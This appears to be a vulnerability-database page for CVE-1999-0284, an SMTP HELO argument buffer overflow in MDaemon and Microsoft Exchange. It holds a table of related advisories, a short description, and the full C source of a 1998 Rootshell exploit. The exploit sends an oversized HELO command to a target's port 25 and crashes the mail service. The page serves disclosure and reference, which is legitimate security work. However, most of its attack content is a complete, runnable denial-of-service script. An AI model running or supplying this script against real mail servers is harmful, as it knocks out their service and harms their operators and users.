| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| CVE-1999-0284 | 4 Feb 200005:00 | – | cve | |
| CVE-1999-0284 | 4 Feb 200005:00 | – | cvelist | |
| Ipswitch Imail Server 5.0 - SMTP HELO Argument Buffer Overflow | 10 Mar 199800:00 | – | exploitdb | |
| Alt-N MDaemon Server 2.71 SP1 - SMTP HELO Argument Buffer Overflow | 10 Mar 199900:00 | – | exploitdb | |
| EUVD-1999-0284 | 7 Oct 202500:30 | – | euvd | |
| MDaemon SMTP HELO Command Remote Overflow DoS | 22 Jun 199900:00 | – | nessus | |
| Lotus Notes SMTP Server HELO Command Overflow DoS | 22 Jun 199900:00 | – | nessus | |
| SLMail HELO Command Remote Overflow | 22 Jun 199900:00 | – | nessus | |
| CVE-1999-0284 | 1 Jan 199805:00 | – | nvd | |
| PT-1998-1059 · Ipswitch +2 · Ipswitch +2 | 1 Jan 199800:00 | – | ptsecurity |
// source: https://www.securityfocus.com/bid/8555/info
It has been reported that Microsoft Exchange server is prone to an SMTP HELO command argument buffer overflow vulnerability.
The issue presents itself likely due to insufficient bounds checking performed when handling malicious SMTP HELO command arguments of excessive length. It has been reported that a remote attacker may exploit this condition to trigger a denial of service in the affected daemon.
/*
* MDaemon SMTP server for Windows buffer overflow exploit
*
* http://www.mdaemon.com - if you dare...
*
* Tested on MDaemon 2.71 SP1
*
* http://www.rootshell.com/
*
* Released 3/10/98
*
* (C) 1998 Rootshell All Rights Reserved
*
* For educational use only. Distribute freely.
*
* Note: This exploit will also crash the Microsoft Exchange 5.0 SMTP mail
* connector if SP2 has NOT been installed.
*
* Danger!
*
* A malicous user could use this bug to execute arbitrary code on the
* remote system.
*
*/
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
void main(int argc, char *argv[])
{
struct sockaddr_in sin;
struct hostent *hp;
char *buffer;
int sock, i;
if (argc != 2) {
printf("usage: %s <smtp server>\n", argv[0]);
exit(1);
}
hp = gethostbyname(argv[1]);
if (hp==NULL) {
printf("Unknown host: %s\n",argv[1]);
exit(1);
}
bzero((char*) &sin, sizeof(sin));
bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
sin.sin_family = hp->h_addrtype;
sin.sin_port = htons(25);
sock = socket(AF_INET, SOCK_STREAM, 0);
connect(sock,(struct sockaddr *) &sin, sizeof(sin));
buffer = (char *)malloc(10000);
sprintf(buffer, "HELO ");
for (i = 0; i<4096; i++)
strcat(buffer, "x");
strcat(buffer, "\r\n");
write(sock, &buffer[0], strlen(buffer));
close(sock);
free(buffer);
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation